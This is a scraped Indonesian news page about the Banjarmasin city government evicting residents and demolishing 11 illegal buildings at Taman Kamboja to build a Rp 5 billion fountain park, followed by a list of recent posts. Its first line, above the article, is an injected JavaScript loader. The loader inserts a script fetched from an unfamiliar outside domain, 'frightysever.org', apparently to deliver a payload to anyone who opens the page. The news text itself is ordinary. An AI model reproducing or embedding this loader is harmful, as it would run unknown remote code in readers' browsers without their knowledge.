(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Gusur Bangunan Liar di Taman Kamboja, Pemko Akan Bangun Air Mancur Rp 5 M


BANJARMASIN, Kepala Dinas Lingkungan Hidup Kota Banjarmasin Muhyar mengatakan Proyek pembangunan Taman Air Mancur Menari di Taman Kamboja Jalan H Anang Adenansi Kota Banjarmasin ditarget selesai Desember 2018.

Proyek senilai Rp 5 miliar lebih itu segera dimulai, oleh karena itu warga yang tinggal di sekitar kawasan Ruang Terbuka Hijau (RTH) Taman Kamboja diminta agar segera mengosongkan dan membongkar tempat tinggal mereka mulai Kamis (30/8) hari ini.

Terkait pembongkaran rumah warga, Mukhyar, mengatakan tali asih tidak dapat diberikan kepada warga yang tinggal di Taman Kamboja karena tidak ada aturannya. “Itu lahan milik pemko. Kalau kami memberikan tali asih, tidak boleh,” katanya.

Pada pembongkaran bangunan tersebut, nampak puluhan personel Satpol PP Banjarmasin yang melakukan pembersihan pada 11 bangunan liar yang masih berdiri di atas lahan seluas 4 hektare di Jalan Anang Adenansi, Kelurahan Kertak Baru Ilir tersebut. Tanah tersebut merupakan tanah milik pemko Banjarmasin dengan bukti sertifikat Nomor 7 Tahun 1982 dan putusan Mahkamah Agung (MA) Nomor 1547 /PDT/2007.

Secara terpisah, Kepala Bidang Penertiban Umum Satpol PP Kota Banjarmasin, Dani Matera, mengatakan, jika pembongkaran per 30 Agustus merupakan kesepakatan warga. Apalagi, itu berdiri di lahan milik Pemerintah Kota Banjarmasin. “Itu semua bangunan liar. Warga juga sudah diperingatkan sejak setahun lalu,” tegasnya.

Di sisi lain, Kasi Operasional Satpol PP dan Damkar Kota Banjarmasin, Hendra menyampaikan pada operasi tersebut mereka dibantu anggota TNI dan Polri. “Kami dibantu, 10 anggota polri dari Polsek Banjarmasin Tengah dan 10 anggota TNI dari Koramil Banjarmasin Barat,” ujarnya.

Menurutnya, pembongkaran harus segera dilakukan, mengingat pemilik bangunan sudah diperingatkan sejak 2017 silam. “Sudah disurati berkali-kali. Apalagi ini bangunan liar. Hari ini lahan harus bersih,” katanya.(cell)


Desy Arfianty

Recent Posts

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

5 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

6 jam ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

8 jam ago

BPBD Balangan Gelar Pelatihan TRC PB Tahap II di Batakan

KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More

8 jam ago

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

21 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

23 jam ago

This website uses cookies.